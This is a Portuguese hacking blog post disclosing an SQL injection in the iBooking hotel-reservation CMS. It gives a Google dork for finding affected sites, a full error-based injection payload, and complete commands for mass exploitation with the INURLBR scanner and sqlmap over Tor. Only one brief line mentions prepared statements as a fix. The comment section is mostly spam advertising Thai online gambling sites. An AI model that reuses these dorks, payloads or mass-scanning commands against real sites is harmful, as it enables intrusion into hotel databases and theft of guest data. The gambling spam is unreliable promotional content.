Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

terça-feira, 15 de setembro de 2015

( 0day ) IBOOKING CMS - INJEÇÃO DE SQL e Exploração em massa



IBOOKING CMS é um sistema voltado pro ramo de hotelaria, gerenciamento de reservas.
Como próprio site do desenvolvedor diz:

Motor de Reservas: Com o nosso motor de reservas você pode vender as diárias do seu hotel diretamente no seu site e sem precisar pagar comissão. Uma forma eficaz de ampliar sua lucratividade e interagir com o cliente desde o momento da compra.

Tal sistema tem uma falha grave de Injeção SQL, explorada via request GET no parâmetro idPousada do arquivo filtro_faixa_etaria.php dentro da pasta ou URL dinâmica /motor-de-reservas/. INFORMAÇÕES: 

[+] FORNECEDOR: WWW.ibooking.com.br
[+] VERSÕES VULNERÁVEIS: TODAS [+] ARQUIVO: filtro_faixa_etaria.php [+] PASTA OU URL DINÂMICA: /motor-de-reservas [+] PARÂMETRO:  idPousada(GET)
[+] DORK: intext:"Desenvolvido por ibooking" [+] REPORTADO: 15/10/2015

A request vulneravel é feito através de uma function javascript encontrada dentro de /motor-de-reservas

Código:
jQuery(function($){        
   $("#quartos").change(function() {
     var qtde_quartos = $(this).val(); 
     $.ajax({ 
       type: "GET", 
       url: "filtro_faixa_etaria.php", 
       data: "qtde_quartos="+qtde_quartos+"&idPousada=61", 
       success: function(xml){ 
        $("#filtro_faixa_etaria").html(xml);
       } 
     }); 
  }); 
  
  $.ajax({ 
    type: "GET", 
    url: "filtro_faixa_etaria.php", 
    data: "qtde_quartos=1&idPousada=61", 
    success: function(xml){ 
      $("#filtro_faixa_etaria").html(xml);
    } 
  }); 
  
   
 });


URL Vulnerável:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61

POC:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+(INJEÇÃO_SQL) Exemplo:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)

Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.

@@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL
@@GLOBAL.version_compile_os = SERVIDOR COMPILADO
@@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA  DO SERVIDOR

Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado.
0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::

Print saída da injeção:
Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.  @@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL @@GLOBAL.version_compile_os = SERVIDOR COMPILADO @@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA  DO SERVIDOR  Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado. 0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::  Print saída da injeção:


Exploração em massa usando scanner INURLBR
Baixar: https://github.com/googleinurl/SCANNER-INURLBR

Montando comando:

SETANDO DORK DE PESQUISA
--dork 'YOU_DORK'
- USE --dork 'intext:"Desenvolvido por ibooking"'

SETANDO ARQUIVO DE SAÍDA:
- USE: -s 'ibooking.txt'

SETANDO STRING EXPLOIT GET
--exploit-get 'EXPLOIT_GET'
- USE--exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'

SETANDO TIPO DE VALIDAÇÃO: 
- USE: -t 3 
3 O terceiro tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " mais as validações padrões do scanner, o diferencial é que  --exploit-get é injetado direto na url:
Exemplo: --exploit-get '/index.php?id=1&file=conect.php'INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php

SETANDO STRING DE VALIDAÇÃO:
Especifique a string que será usada como validação no script:
Exemplo:  -a {string}
Usando:    -a '<title>hello world</title>'
Se o valor específico é encontrado no alvo, ele é considerado vulnerável.
- USE:     -a 'INURLBR_VULN'
O valor INURLBR_VULN é passado no formato hexadecimal na string exploit-get

COMANDO COMPLETO:

php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t-a 'INURLBR_VULN'

Print saída:

Montando comando:  SETANDO DORK DE PESQUISA --dork 'YOU_DORK' - USE --dork 'intext:"Desenvolvido por ibooking"'  SETANDO ARQUIVO DE SAÍDA: - USE: -s 'ibooking.txt'  SETANDO STRING EXPLOIT GET --exploit-get 'EXPLOIT_GET' - USE: --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'  SETANDO TIPO DE VALIDAÇÃO:  - USE: -t 3  3 O segundo tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " o parametro get setando no comando --exploit-get é injetado direto na url: Exemplo: --exploit-get '/index.php?id=1&file=conect.php' INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php  SETANDO STRING DE VALIDAÇÃO: Especifique a string que será usada como validação no script: Exemplo:  -a {string} Usando:    -a '<title>hello world</title>' Se o valor específico é encontrado no alvo, ele é considerado vulnerável. - USE:     -a 'INURLBR_VULN'  COMANDO COMPLETO:  php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN'  Print saída:


EXPLORANDO VIA SQLMAP:

python sqlmap.py -u 'http://ww.target.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=10,level=3,risk=2,dbms=MySQL,testing=Y,WAF/IPS/IDS=Y,check=Y'



EXPLORANDO INURLBR + SQLMAP:
Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.

php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"

Print saída: 
  EXPLORANDO INURLBR + SQLMAP: Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.  php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"



Use Prepares  statement sem moderação:
http://php.net/manual/pt_BR/pdo.prepare.php

Filtro de request seja POST ou GET:

O arquivo aparecendo ou não para o cliente, ele pode ser vulnerável do mesmo jeito.


Outra falha que foi encontrada no sistema semana passada de titulo:
(0day) IBOOKING CMS - LOCAL FILE DISCLOSURE VULNERABILITY
Encontrada por: Pablo Verlly Moreira, que já foi reportada e corrigida pelo admin, mas sem nem um agradecimento por parte da equipe.

https://ghostbin.com/paste/e99uz

Referencias:

10 comentários:

  1. Thanks for your sharing! The information your share is very useful to me and many people are looking for them just like me!

    ResponderExcluir
  2. You have just saved my project because I have found the post that gave me the information.

    ResponderExcluir
  3. Keep up the good work; I read few posts on this website, including I consider that your blog is fascinating and has sets of the fantastic piece of information. Thanks for your valuable efforts.
    things to do

    ResponderExcluir
  4. เพื่อให้การเล่นสล็อตในเวลานี้ถือว่ามีเกม slot ให้ร่วมสนุกใหม่ ๆ ใช้งานจริง สร้างรายได้จริง เพียงเลือกใช้บริการ

    https://www.slotxo369.com/

    ResponderExcluir
  5. ความน่าสนใจของการเล่นพนันออนไลน์ ผ่านช่องทาง pgslot ร่วมเดิมพันสล็อตออนไลน์ ฟรีเครดิต พร้อมลุ้นได้ทุกการใช้งาน เป็นเกมส์พนันชนิดเดียวที่สามารถเลือกรูปแบบการเล่นพนันหลากหลาย สามารถตอบสนองความต้องการได้อย่างดี มีโอกาสของการเน้นการทำกำไรได้ไม่ยาก

    ResponderExcluir
  6. คาสิโนออนไลน์ ไม่มีอันตราย มีมาตรฐาน ไม่ทุจริต เล่นได้เงินจริง Pussy888
    สิ่งที่จำเป็นเยอะที่สุดสำหรับในการเล่นเกมส์การพนันคาสิโนออนไลน์ สิ่งแรกเลย พวกเราจำเป็นที่จะต้องเลือกเล่นเกมส์การพนันกับผู้ให้บริการเกมการพนันที่มีคุณภาพ พวกเราต้องเลิกเล่นเกมส์การพนันกับเว็บคาสิโนออนไลน์ที่มีมาตรฐาน เว็บคาสิโนออนไลน์ที่มีมาตรฐาน ไม่ทุจริต แล้วก็เป็นเว็บคาสิโนออนไลน์ซึ่งสามารถทำเงินให้กับพวกเราได้จริงๆร่วมเล่นเกมส์การพนันกับเว็บของพวกเราได้ pussy888 พร้อมที่จะบริการลูกค้าทุกคนที่เข้ามาร่วมเล่นเกมส์การพนัน พร้อมมอบประสบการณ์ที่เยี่ยมที่สุดสำหรับเพื่อการเล่นเกมส์การพนันคาสิโนออนไลน์ให้กับทุกคน พร้อมที่จะมอบประสบการณ์ที่ดีเยี่ยมที่สุดให้กับผู้ที่ชอบพอการเล่นเกมส์การพนันคาสิโนออนไลน์ ร่วมเล่นเกมส์การพนันกับเว็บของพวกเราได้อย่างง่ายๆทำเงินจากการเล่นเกมส์การพนัน ร่วมสนุกสนานกับเกมคาสิโนออนไลน์
    Pussy888 พร้อมเปิดให้บริการแล้วในขณะนี้ ในลักษณะของโทรศัพท์เคลื่อนที่
    สามารถร่วมเล่นเกมส์การพนันกับเว็บคาสิโนออนไลน์ของพวกเราได้ Pussy888 เว็บไซต์คาสิโนออนไลน์ชั้น 1 เว็บไซต์คาสิโนออนไลน์ที่เหมาะสมที่สุดในช่วงเวลานี้ พร้อมที่จะบริการลูกค้าทุกคนที่เข้ามาร่วมเล่นเกมส์การพนันกับเว็บของพวกเราในลักษณะของโทรศัพท์เคลื่อนที่ ร่วมสนุกสนานกับเกมส์การพนันคาสิโนออนไลน์ บันเทิงใจกับเกมการพนันที่มีคุณภาพ เล่นเกมส์การพนันกับเว็บของพวกเราผ่านโทรศัพท์เคลื่อนที่
    เล่นเกมส์การพนันคาสิโนออนไลน์มากไม่น้อยเลยทีเดียว โดยที่พวกเราไม่มีความจำเป็นที่ต้องเดินทางไปยังเมืองนอก ไม่มีความจำเป็นที่จะต้องดาวน์โหลดแอพพลิเคชั่นเกมการพนัน แค่เพียงเข้ามาร่วมเล่นเกมส์การพนันกับเว็บของพวกเราก็จะสามารถทำเงินจากการเล่นเกมส์การพนันคาสิโนออนไลน์ได้เลยโดยทันที เกมส์การพนันคาสิโนออนไลน์เล่นง่าย เกมส์การพนันคาสิโนออนไลน์กับเว็บไซต์ที่มีมาตรฐานเยอะที่สุดในขณะนี้ ยืนยัน เว็บไซต์คาสิโนออนไลน์ที่เปิดให้บริการมานานกว่า 4 ปี
    รับประกัน ยอดคนร่วมเล่นเกมส์การพนัน กว่า 10000 คน
    พวกเรากล้ายืนยัน ว่าเว็บของพวกเราเป็นเว็บไซต์คาสิโนออนไลน์ที่มีคุณภาพ ด้วยปริมาณผู้ที่ร่วมเล่นเกมการพนันใน 24 ชั่วโมงมากยิ่งกว่า 1 หมื่นคน แน่ๆว่าการที่พวกเราจะเป็นผู้ให้บริการเกมการพนันคาสิโนออนไลน์ พวกเราไม่สามารถที่จะเป็นผู้ให้บริการเกมการพนันคาสิโนออนไลน์ที่มีความน่าวางใจได้เลย ถ้าหากว่าเว็บของพวกเรา pussy888 มิได้รับการยินยอมรับ หรือเป็นเว็บไซต์ที่คดโกง เล่นแล้วมิได้เงินจริง เว็บไซต์คาสิโนออนไลน์ของพวกเรา ไม่ได้รับความนิยม อย่างแน่แท้ เพราการเล่นเกมส์การพนัน พวกเราก็จำต้องเลือกเล่นเกมส์การพนัน กับผู้ให้บริการที่มีคุณภาพ
    ซึ่งจะต้องบอกแล้วว่าเว็บของพวกเรา มีคนร่วมเล่นเกมส์การพนันคาสิโนออนไลน์ไม่น้อยเลยทีเดียว ทุกคนสามารถทำเงินจากการเล่นเกมส์การพนันคาสิโนออนไลน์ได้จริง รับประกันยอดคนร่วมเล่นเกมส์การพนันจำนวนมาก แล้วก็ประกันเกมส์การพนันคาสิโนออนไลน์สนุกสนานๆเยอะแยะ ที่เปิดให้บริการกับทุกคน ที่พร้อมจะมอบความสนุกสนานสำหรับในการเล่นเกมส์การพนันให้กับทุกคนที่เข้ามาร่วมเล่น

    ResponderExcluir
  7. เล่น slotxo หลายไตล์ รับโบนัสง่าย ๆ สปินผ่านมือถือ เพื่อทำเงินได้ทุกวัน

    ResponderExcluir

............